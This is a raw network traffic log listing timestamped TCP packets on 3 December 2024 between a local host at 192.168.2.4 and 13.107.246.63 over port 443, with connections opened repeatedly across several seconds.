Dec 3, 2024 17:56:19.018812895 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.018830061 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.018867016 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.018928051 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.018940926 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.018953085 CET	49986	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.018959045 CET	443	49986	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.021878004 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.021919966 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.021995068 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.022150040 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.022165060 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.055047989 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.055682898 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.055700064 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.056159019 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.056164980 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.081080914 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.083626986 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.083688021 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.083718061 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.083736897 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.083746910 CET	49987	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.083753109 CET	443	49987	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.087322950 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.087383032 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.087461948 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.087625980 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.087647915 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.446048975 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.446652889 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.446667910 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.447170019 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.447175980 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.576952934 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.582129955 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.582212925 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.582277060 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.582297087 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.582312107 CET	49988	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.582320929 CET	443	49988	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.585583925 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.585614920 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.585685015 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.585844994 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.585855961 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.934875965 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.937529087 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.937581062 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.937582016 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.937623978 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.937900066 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.937900066 CET	49989	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.937922001 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.937932014 CET	443	49989	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.943141937 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.943190098 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:19.943262100 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.943613052 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:19.943635941 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.143564939 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.144388914 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.144426107 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.144934893 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.144941092 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.595621109 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.595702887 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.595786095 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.597057104 CET	49990	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.597079992 CET	443	49990	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.600577116 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.600614071 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.600713015 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.600841999 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.600862026 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.917239904 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.917787075 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.917803049 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:20.918282032 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:20.918292046 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.039479971 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.040024042 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.040057898 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.040529013 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.040535927 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.365298033 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.365370989 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.365436077 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.365721941 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.365721941 CET	49991	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.365744114 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.365753889 CET	443	49991	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.368922949 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.368980885 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.369054079 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.369209051 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.369229078 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.400540113 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.400943995 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.400971889 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.401438951 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.401443958 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.484702110 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.488218069 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.488272905 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.488281012 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.488327980 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.488409996 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.488429070 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.488452911 CET	49992	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.488460064 CET	443	49992	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.491384029 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.491427898 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.491501093 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.491674900 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.491688013 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.807063103 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.807658911 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.807687044 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.808142900 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.808147907 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.851958990 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.852041960 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.852118015 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.852339029 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.852353096 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.852368116 CET	49993	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.852374077 CET	443	49993	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.855782986 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.855838060 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:21.855932951 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.856121063 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:21.856136084 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.334656954 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.335278988 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.335299969 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.335761070 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.335767031 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.381346941 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.383654118 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.383718967 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.383721113 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.383769035 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.383832932 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.383850098 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.383861065 CET	49994	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.383867025 CET	443	49994	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.386970043 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.387012005 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.387074947 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.387223005 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.387233973 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.785346031 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.788434029 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.788548946 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.790719986 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.790746927 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.790760994 CET	49995	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.790766954 CET	443	49995	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.842827082 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.842886925 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:22.842957973 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.846115112 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:22.846131086 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.165401936 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.166203976 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.166234970 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.166882038 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.166887999 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.399863958 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.400412083 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.400428057 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.400888920 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.400893927 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.606448889 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.607050896 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.607089043 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.607532978 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.607541084 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.650459051 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.651062965 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.651134014 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.651190042 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.651210070 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.651221991 CET	49996	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.651228905 CET	443	49996	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.654117107 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.654170990 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.654247999 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.654392958 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.654407978 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.857317924 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.860099077 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.860171080 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.860205889 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.860227108 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.860235929 CET	49997	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.860245943 CET	443	49997	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.863331079 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.863359928 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:23.863451004 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.863637924 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:23.863651037 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.042953014 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.045556068 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.045607090 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.045617104 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.045671940 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.045747995 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.045768976 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.045784950 CET	49998	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.045792103 CET	443	49998	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.048783064 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.048827887 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.048896074 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.049067020 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.049079895 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.145025969 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.145581007 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.145596027 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.146060944 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.146065950 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.681502104 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.684089899 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.684159040 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.703826904 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.703850031 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.703860998 CET	49999	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.703866959 CET	443	49999	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.708201885 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.708234072 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.708312988 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.709897995 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.709912062 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.749362946 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.751337051 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.751353025 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:24.754965067 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:24.754972935 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.197581053 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.201188087 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.201236963 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.201240063 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.201286077 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.201442957 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.201458931 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.201468945 CET	50000	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.201474905 CET	443	50000	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.206711054 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.206763983 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.206829071 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.207173109 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.207187891 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.624757051 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.625353098 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.625387907 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.626019955 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.626027107 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.803257942 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.803916931 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.803931952 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.804416895 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.804423094 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.906660080 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.907200098 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.907232046 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:25.907828093 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:25.907835007 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.084100962 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.088049889 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.088116884 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.088187933 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.088210106 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.088229895 CET	50001	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.088236094 CET	443	50001	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.096064091 CET	50006	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.096117020 CET	443	50006	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.096184015 CET	50006	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.096318007 CET	50006	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.096333027 CET	443	50006	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.257695913 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.260503054 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.260557890 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.260581970 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.260622978 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.260688066 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.260701895 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.260719061 CET	50002	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.260724068 CET	443	50002	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.263778925 CET	50007	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.263823986 CET	443	50007	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.263894081 CET	50007	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.264044046 CET	50007	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.264059067 CET	443	50007	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.362543106 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.369363070 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.369434118 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.369502068 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.369525909 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.369538069 CET	50003	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.369544029 CET	443	50003	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.372706890 CET	50008	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.372751951 CET	443	50008	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.372824907 CET	50008	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.373020887 CET	50008	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.373049021 CET	443	50008	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.456312895 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.456876993 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.456892967 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.457351923 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.457357883 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.916857004 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.916941881 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.917197943 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.917264938 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.917284966 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.917294979 CET	50004	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.917299986 CET	443	50004	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.920497894 CET	50009	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.920533895 CET	443	50009	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:26.920610905 CET	50009	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.920780897 CET	50009	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:26.920795918 CET	443	50009	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.010715008 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.011306047 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.011348009 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.011785030 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.011792898 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.461846113 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.463671923 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.467381954 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.468072891 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.468099117 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.468112946 CET	50005	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.468118906 CET	443	50005	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.471720934 CET	50010	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.471756935 CET	443	50010	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:27.471857071 CET	50010	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.472131968 CET	50010	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:27.472142935 CET	443	50010	13.107.246.63	192.168.2.4
